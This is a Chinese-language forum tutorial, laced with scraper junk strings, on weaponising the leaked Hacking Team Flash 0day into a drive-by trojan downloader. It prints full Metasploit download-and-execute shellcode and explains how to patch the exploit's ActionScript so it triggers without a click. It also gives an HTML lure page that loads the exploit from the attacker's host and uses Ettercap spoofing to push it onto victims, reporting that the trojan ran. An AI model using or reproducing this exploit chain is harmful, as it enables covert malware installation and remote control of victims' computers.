6 R9 M! S0 X( W- f 三、flash 0day之手工代码修改制作下载者实例入侵演示 / B$ z0 }2 u' S8 j' ]
/ ~4 ^7 k& s* }* m% g c6 A
- M9 K: z+ A" r1 `, X 利用到的工具:
( F! p7 T5 B" i6 P) a9 o1 v ' P" y& {$ C9 O; H( s) @' Y
6 P: ]9 p4 k$ x
Msf & p2 l( U& ?! {; G' A: U
- v5 o0 ~1 I- |4 I6 I
- Q3 [2 f6 h/ h$ l. R. Z( g2 u, S6 u Ettercap
0 T. H) t; G; t
; e4 ]- \$ q; J/ i0 n5 Q( m% Q+ d. L- x ^* \. O/ u
Adobe Flash CS6
" r/ r4 Y) z6 G- j " e9 K5 ^: ?3 _; E+ o' m
" d' h6 n! \: \+ R- j9 w% {2 b Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
$ J% K I& V+ N( }) X
; ]; v1 D/ d2 |6 \( F2 M6 w3 |7 `! r3 @
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options ! l. A ~, P' i5 s6 C5 H! ~& |
& B* {" g R% ?8 l# }, \* w
" P( q' \6 J& b( K \+ U& Y( _ 如图: 6 y9 g1 n2 _) v- X+ F
$ h/ p* y0 m R6 w4 F5 h6 K: g M
/ e; b( N' |3 z' Z O& m$ L; f ! ^# D n' U" ? a
/ C t. `: I( b; T 4 \3 _: P* q {& x9 G
$ ^, |( D5 i& M) n' h9 h* @; @, z3 x1 P5 c/ P, r
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
* @3 @/ d' L1 o G7 R. x. V6 I 0 Y% k Q" R& [# G4 i( u% N2 F
s* j0 N4 @' R
! e$ r+ E0 S9 Q7 {$ F. {$ g% S 5 {( A; B4 _5 x; q
2 f- J) Z( X3 P6 O
E9 u3 @$ L% v, c
+ t( a' C9 {% c9 c+ D+ a6 e
3 H, Y/ R0 L3 N; X5 I$ e: h' |; \ 然后执行generate -t dword生成shellcode,如下: 0 }1 H5 U2 ~$ M2 k6 i
) ~$ z1 U4 t6 k, C* L; G( v# S
" z! D, D- J" A `% t0 K
* k% d; m, @$ a7 ^$ V c 4 e& m4 [; E' F5 |2 w7 O
& N/ `3 `' k5 p& X
复制代码到文本下便于我们一会编辑flash exp,如下:
$ R1 }# D# o. o! q+ |: v T: a
* v6 k' ]/ T/ T9 S2 d
8 S3 ?/ `8 x% [0 h% ? 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
' }' n+ P9 L, H: V2 O4 y6 ] & Q3 A0 i9 z( B3 O- U: ~
& b! w/ u+ ^0 G5 l: o
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 7 N! O* U' [4 g! m6 S+ i. Y ]% |
& {. `! |. s9 c: t3 r8 q
, N) Y& h- M; ?" f+ X* N6 y 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 1 C/ r1 q; R- s8 n& o
+ D, ^- y% l# ~2 S0 c" _5 n; h+ [: d/ T
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
& y) | ^! R6 T- {
! C- d' g+ J0 ~: y ]+ l; E
" a6 V3 a: \! \4 c) k* I( t9 b$ g2 i 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
' X% Y$ P" h3 R2 r: a P
. J% _* _$ N/ M. ]/ k5 v" z U+ N" m! d1 V4 k& u, U
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
/ w" ?$ c! {, ^- G) G
2 j8 X" e0 ~% R( t" K# d3 t- \( H& O; ~' O, P' ^% Z
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, $ f' X0 |8 w: |. {) n ]3 M- \
$ \5 a$ G; D2 a+ N9 |; O( o* \
/ l0 r8 L; F7 ^; D 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 9 _/ N' B+ [) {# |7 U5 P
" A6 H( h1 m X" F7 N& J6 N1 W7 W. V4 S1 M4 h. N
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, / w! |( @( g0 S) {, T8 @
; s* \2 Q& V( j6 \
/ U1 s$ r3 n; b$ K1 g6 c, u# J
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, ; c: l# I. P, u$ k9 v
" R1 p/ G+ \9 e( ~) k+ p
r: S- [8 J# t% z
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
9 f( X1 e7 R: l$ Q+ i' Y + w4 A) b4 s5 ]8 v. @. c
2 y4 o# U/ J5 k( l7 m 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
# y! R8 W6 E2 l
$ Q* ~( Z+ J( c7 w: f2 K% _4 D- b7 p* K, F: l* Y
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 4 a: j' Z: ?% _, U( x3 E0 j: p* N4 k
3 X5 t' J' Z$ ]4 W- W) ]
; T) @* @% m' b4 D& E& u% \5 q 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 5 G+ b$ Z* V! S5 w% J
5 P+ U' V' P. f/ X6 G* r4 m _6 r$ q8 M
5 B3 s4 w8 ]" c/ B- Y
r5 z7 N( z$ C( d1 L
, Z/ F! p/ f: V# Y/ f/ q8 v* r) m1 X/ D A/ K
+ c* n1 \* V6 l8 W& S2 X
. K2 V) ]+ Y7 ?- h1 l# r! o0 X+ \. S- a+ B1 e) d
下面我们来修改flash 0day exp,需要修改三个文件,分别为: - [$ D, I; k: B3 \, U7 Z& |
: S3 @4 O0 a8 s; Z( P- ~2 `! v5 O) _' m, n2 n
$ ?8 d0 ^+ h5 C2 I2 x- N6 Z" X% V0 }
7 V. c7 M9 h3 L8 b
/ a2 a& Q* `$ V2 y% [; t, V8 I 先修改ShellWin32.as,部分源代码如图:
7 u/ G" E% o& e" _9 ~
, z" m) ] \: B: `8 e( ^
3 u) ?3 I! \5 A* D+ V
9 ^( Y. I2 R/ d2 r" B2 ?
' n. @* A5 {* T1 M7 v6 F& j
8 H% w& A6 `: ?: K 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
* c/ |. f. }2 K* l / H* m7 v+ {$ x4 |" X# G4 ~2 d( C( Z
8 m9 P+ K; a; j; J* \9 x7 i/ M , r) |- ]$ N* d9 _. K
4 c. o" V" }# |; z
. B2 e5 p" m. a4 j 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: $ T# `! w, U( d9 t6 [0 X
6 S5 t% s9 h8 _( x# h
5 n5 j* n: I1 i! F- T/ d) c ! X7 C, {/ w; `+ L, j% M$ P# [
( D7 \2 L" U6 b5 {
- c/ j7 \( `$ i8 W | 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
+ W: `/ H4 s- E: g * l6 w3 M9 i8 ?
6 Z L3 j1 C; m/ G$ ^7 K9 q
3 y) p( w2 {' z: X: a: L4 y
6 j* d4 i5 P4 v& O% c& ^1 Y' @6 V9 f2 t0 ]2 [2 L
) B6 M! m8 R, a* p+ L2 i
1 d; r( O; [- N
! ^4 l" S g# l8 g
' x5 {! e; V3 e( s7 M( q
1 @5 V. J, x" e2 a' J# m( S9 d% T5 w6 i. ~# j+ \; B
然后点保存,下面我们来编译一下,打开 0 y; u9 F' b4 Y
/ d8 h" n8 q* q; j7 N6 l; {5 E
7 i1 c" o& B9 N: V/ Q0 r7 U& I8 V exp1.fla然后点文件-发布,看看编译没错误
9 h& j$ f& v9 A$ Q1 _4 `. y, A7 a . ?% o' [& `/ m( ?5 Q3 c
0 j) O9 g7 U$ V- Y# L4 m5 `6 y
7 B8 E0 h0 a9 [: K. d1 s5 t7 m
4 _! e' ^# \$ G" e, x9 g, j. s0 {7 T" V$ {
0 B8 I7 A) ^7 f& I( I. v6 ?$ H4 T
- b! s& Z7 m+ B. o2 L2 x& o
6 E" p. F1 S5 i& g9 Q! \5 h : I9 X1 B7 ?: z/ S
5 L7 q, O1 L- O V. s/ f |% M2 k8 N/ q
# o+ m3 X+ y0 C9 C- `
3 P3 }" C* k8 E2 q$ ?
! n+ \# m8 K( {2 D# W8 J 然后我们把生成的 2 [, d9 Y- m" d2 u
6 ?+ b" \1 s* I1 S+ I3 k K/ ]) J
3 B' o. |* ~% ?/ A, U I" W
exp1.swf丢到kailinux 的/var/www/html下: f2 t/ M! _6 @/ ~, `( n$ O4 l( }7 _3 A
0 `2 k0 M. K, I0 X5 r
. g4 |1 h& R G. o" Z- E 然后把这段代码好好编辑一下
, o+ m; r' I, I( w# S ! C/ |5 h# ?4 B- s. O' z# U, \
, [( w6 g0 q3 O4 C& W# l% a c
" v- H4 K- v+ ~5 P% {, z# j( f
6 v: G2 a L' n
6 l9 C/ b. \; @; v ! D- ]) c* X) N$ [7 n2 }+ ~# ]- x
" y) D8 ?4 @4 k1 H4 M% g! i) \3 U) |% `% k$ ?; ]# Y
6 }; N, f3 f' w4 U4 y* p! K
& \) J1 H! o. [: f
1 r2 w9 Y' }/ ^
8 k0 [' x0 M" Z, e* o" e
* e$ m6 e( ?! ?5 j
; n# G) }2 x. T% o. _
) g& \0 f' ]0 D2 j) ~6 a & f3 |/ q" P% O e) S. r* P: N1 k
; m, N, S6 q, C# t: v( b
- b1 c; M' b, x$ O3 v/ ?
! x5 j0 j$ z! P! `9 k& X4 b. `, V; L3 S0 P0 J
<!DOCTYPE html>
3 j: {! v& z1 H3 c `0 O! o0 a& I/ M7 x% h
# ^1 k& E* N0 \& D <html>
+ P1 ]* N0 L8 r( R0 E) X
+ _/ Q/ N, U0 [' f: l6 M, i1 e2 l0 X" e$ z9 I; r+ y* w
<head>
6 w0 R" O& {1 `8 _! M, H! y7 T. H
# y+ y. @8 g( U+ i+ D4 I9 D
: K; k- [+ _7 Y$ R( w+ j4 {! J <meta http-equiv="Content-Type" content="text/html; ! ^/ Q# L5 u2 N8 P: m
- Z& t8 A3 `) c( x
! R9 a: t6 }. b" X; ^ W* Y
charset=utf-8"/> ; \" L1 B: l0 [/ `5 f1 o" V4 A
2 ]1 u6 ?. L( ~6 Y
( Q0 s# g$ v3 `0 u </head>
2 v9 @3 z9 `$ q7 w: p7 Y$ f& O
- N2 q% Z7 [4 x( |# b, F& X
i$ D; k7 f+ q0 [4 M; B <body> ) Z- h4 A9 ^9 [( n
3 O( R/ A# a* |; e- ~8 w
( \* C) t$ ~& c; q0 D <h2> Please wait, the requested page is loading...</h2> $ K" e: N- M" O
+ r( a2 k7 g) Z' @- r6 l: s
% G C! q; b7 L7 ~/ I: k/ Q8 u <br> $ C3 c \- S$ U0 u1 t6 x; E9 Z4 o
+ B4 J+ `3 a& O/ o9 F: k
$ e! M3 {% f3 \( S4 x, g) E
<OBJECT / Z1 S$ F, s3 B! W. I; x8 [0 i
1 w& A; \) `4 v r/ @/ s2 R6 b& l7 |, F ~2 p( D3 h0 t
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie ; W9 ^) I* Q( g
5 ]2 M3 P+ j$ v- q
8 T" {* d% ^7 _8 _4 ~2 H; N. v VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
; K& y- x+ w( K$ e5 N/ p- O 2 M' t: H; Z% r7 H* ~
6 P, p5 a2 Z5 s </body> : v, h$ D+ Y4 D" P3 a5 H8 O- g
, E9 o2 v: J. B5 S& E
/ o1 S4 v D; i: p ^
<script> ; g8 V4 M! ~5 K2 C) G4 s: w
+ z5 K6 f; G- c; j
, }: w4 U& y6 T9 v* F6 V
setTimeout(function () { 7 m0 {# Z# k5 v( R# h% l
' L3 R+ F1 u0 {! N
+ _4 U0 g1 ~8 V# y, `- s M$ Z0 H
) Z0 s2 b4 q' A7 e : A8 d; L5 ?" o1 p6 S: ]
6 H& |$ }" a5 }8 M* u* `. o window.location.reload();
- f" |7 V3 h' ]% S 2 G* x5 ~# R! C5 A' |% {0 n- ~
* A: D H5 X4 k8 F, t+ V }, 10000);
% Q* X, ^: q2 f. L {5 {8 v 0 I; U6 b5 d9 U: m
7 O' [* k+ l. ^# ?( } + W! ]( C7 C0 r6 @+ W2 ~) q
( e" Y! q/ o/ G6 A; W
$ o$ \3 \8 G' w. _, s' p1 {5 \ </script> 8 j3 g; F$ H; \( K) g
3 j- b* k5 K: a ~! z. G5 v
' k, m0 r: B" I @. k4 b z$ _
</html>
3 t3 n, i; a7 E- f! K ' I9 i9 p& E+ e1 E
b! I9 e, [, y. T5 K O
' ?$ F0 M( r7 F6 Z \0 h8 S, e2 Y! r! D5 q ~8 v
& y) V3 h$ c* I. v7 x3 X
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: 9 p- h) r% ?1 [
" r! h# D6 O$ D% B
" E% X- R3 M7 g7 q4 M $ M6 x: ~- [- I
1 k7 }* n: X! _
6 h F7 T% p& D- m2 ] ' U7 c# t: q9 l* I8 D* f8 {
f' d% f! Z |# @
1 R$ G+ u' t+ ~9 w& k5 T& ] g* I: E0 G6 R
) w7 \$ B4 N0 U4 l
! a( Z+ | ~7 u4 Z; u i . m" H- t/ Z8 Y% |
8 Z9 f! M1 ?+ P( S
2 D+ X& ` P9 A. _3 b1 D
2 u$ W2 [1 T. N s0 }# E( R
7 V" E+ o; h/ V8 U5 R2 G& L
8 K2 n7 h9 i9 c) W. z. \- _ 下面我们用ettercap欺骗如图: 9 o `7 z3 I6 n. N
& f: c# x+ |/ r0 S @
& E, t% k: A( | 6 R g/ P: I5 B) N# o
: d/ |, F( N0 a E- W7 a
5 S+ Z: _; m8 r2 E' H/ ~ - G) L* t2 R1 [$ w% T0 {: P
( E# V! s& a. R% c, e( E
1 o4 b; C; I- V 下面我们随便访问个网站看看:
+ d2 q$ [7 a$ }6 s
. Z' ^( p+ {) }- h: C/ o* n" ~9 J r- [" D
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
" c; `4 I8 w7 j7 m2 V
: e- K" n9 J0 s2 s1 ~1 ~$ N' N9 s" J. q8 O& s) H3 y8 {8 s0 j
9 z% `- i3 e- e& j - L# W0 ]7 F# c# A! E; t
4 h# M K% D* Y, ^5 d 我们看另一台, 4 n/ u/ j7 b% g. t7 [0 c! [
+ W9 B; M, l; S9 m Z% _; T' d1 A7 S2 C/ u! z' f/ J
提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
9 T3 E6 |( u4 ] |